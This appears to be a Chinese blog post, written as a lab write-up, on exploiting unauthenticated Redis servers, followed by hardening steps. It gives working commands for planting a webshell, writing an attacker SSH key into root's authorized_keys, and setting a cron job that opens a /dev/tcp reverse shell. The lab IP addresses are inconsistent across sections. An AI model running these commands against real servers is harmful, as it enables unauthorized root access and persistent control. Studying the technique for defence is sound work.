Redis未授权访问

漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

复现

环境

主机ip
靶机:ubuntu20192.168.237.138
攻击机:kali2020192.168.237.139

利用

利用redis未授权访问写入weshell

靶机开放redis及web服务,攻击机远程访问靶机redis,通过其方式知道web目录路径(报错等)写入webshell。
在这里插入图片描述
成功getwebshell。
在这里插入图片描述
蚁剑连接。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用redis未授权修改ssh公钥

靶机上开启ssh服务:service ssh start
ps -e | grep ssh

>>> ssh-keygen -t rsa //在本地主机生成密钥key
>>> cd /root/.ssh
>>> (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
>>> cat /root/key.txt
>>> cat /root/key.txt | redis-cli -h 192.168.0.106  //将txt文件中的公钥导入Redis缓存
>>> cat /root/key.txt | redis-cli -h 192.168.0.106 –x set xxx //使用redis-cli -h ip命令连接靶机,将文件写入,-x 表示将标准输入作为xxx的值
>>> redis-cli -h 192.168.0.106
>>> config set dir /root/.ssh
>>> config set dbfilename authorized_keys
>>> save

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

redis未授权访问-计划任务反弹shell

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.237.138/5555 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename root

save

在这里插入图片描述
但是ubuntu反弹是失败,查看一些资料说centos可以反弹成功,但是没有centos环境,只能有空在复现下了。

redis<=5.0.5 主从复制RCE

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
由于我ubuntu上的redis是2.x版本的,暂时复现不了。。后续再补充吧。
参考:https://vulhub.org/#/environments/redis/4-unacc/

修复

1、比较安全的办法是采用绑定IP的方式来进行控制。
请在redis.conf文件找到如下配置

# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
bind 127.0.0.1

2、设置密码,以提供远程登陆
打开redis.conf配置文件,找到requirepass,然后修改如下

requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。 命令如下: redis-cli -h
yourIp -p yourPort//启动redis客户端,并连接服务器 keys * //输出服务器中的所有key 报错如下
(error) ERR operation not permitted 这时候你可以用授权命令进行授权,就不报错了 命令如下:
auth youpassword

3、修改6379端口

参考

https://www.cnblogs.com/bmjoker/p/9548962.html

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值